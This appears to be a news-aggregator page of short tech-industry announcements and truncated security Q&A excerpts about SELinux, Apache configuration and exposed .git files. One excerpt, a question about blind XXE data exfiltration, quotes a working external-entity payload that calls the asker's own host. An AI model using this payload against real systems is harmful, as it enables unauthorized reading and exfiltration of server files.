Collaborate Disseminate
Varada announced a new capability of its flagship platform designed to help cybersecurity teams deliver faster time-to-insights on exabytes of data directly on the data lake. As security teams seek powerful and swift threat detection tools to stay a st… Continue reading Varada helps security teams deliver faster time-to-insights on exabytes of data directly on the data lake
Loft Labs announced that vcluster, a virtual cluster technology for Kubernetes, is now freely available on GitHub. Rather than creating heavyweight, resource-hungry, isolated clusters over and over again, companies can now launch lightweight, fast vclu… Continue reading Loft Labs launches vcluster, a working virtualization technology for Kubernetes
Cloudera announced that Cloudera Data Platform (CDP) will integrate the RAPIDS Accelerator for Apache Spark 3.0. Deployed on NVIDIA computing platforms, the software enables enterprises to accelerate data pipelines and push the performance boundaries o… Continue reading Cloudera partners with NVIDIA to make AI-fueled business transformation a reality
Sysdig announced the addition of unified cloud and container security with the launch of continuous cloud security posture management (CSPM). Threat research conducted by Sysdig shows that having a single view across cloud, workloads, and containers sp… Continue reading Sysdig introduces unified cloud and container security with the launch of CSPM
ausearch reports this error:
type=AVC msg=audit(30/03/21 11:54:49.726:125) : avc: denied { read } for pid=8028 comm=httpd name=logs dev="nvme0n1p1" ino=4430391 scontext=system_u:system_r:httpd_t:s0 tcontext=unconfined_u:object… Continue reading Why is SELinux denying apache to read directory of wordpress plugin?
I have a blind XXE through parameter entities. The payload I used to test it is the following.
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://myip"> %xxe; ]>
I receive a GET request. Next move I tried was serving thi… Continue reading Is it possible to exploit XXE data exfiltration with 1 GET request?
Confluent welcomes two new leaders to the executive team. Cory Scott joins as chief information security officer (CISO) to help build and operate Confluent’s security team. And Melanie Vinson joins the company as Confluent’s chief legal officer to lead… Continue reading Confluent expands executive team with two new appointments
I installed Apache web server in a computer. Since I’m the only one who needs to access it for now, i added the line Listen 127.0.0.1:80 so that only I can access it.
Before this I could access the site by typing the ip that was in ip addr… Continue reading Is it different to access from ip than localhost?
As a security in-charge, I just noticed that one of our production web apps was attacked by some hackers. The attacker accessed the .git/objects/ files.
I already modified .htaccess to make .git and its content inaccessible.
The attacker … Continue reading Security implications of stolen .git/objects/ files
I installed apache2 server in a computer. By default /srv/http belongs to root. Would it be a good idea to make a new user and give ownership of this folder and subfolders to it? Because i’m told it’s not good idea to have a shell running … Continue reading Should i make an account for apache server? [closed]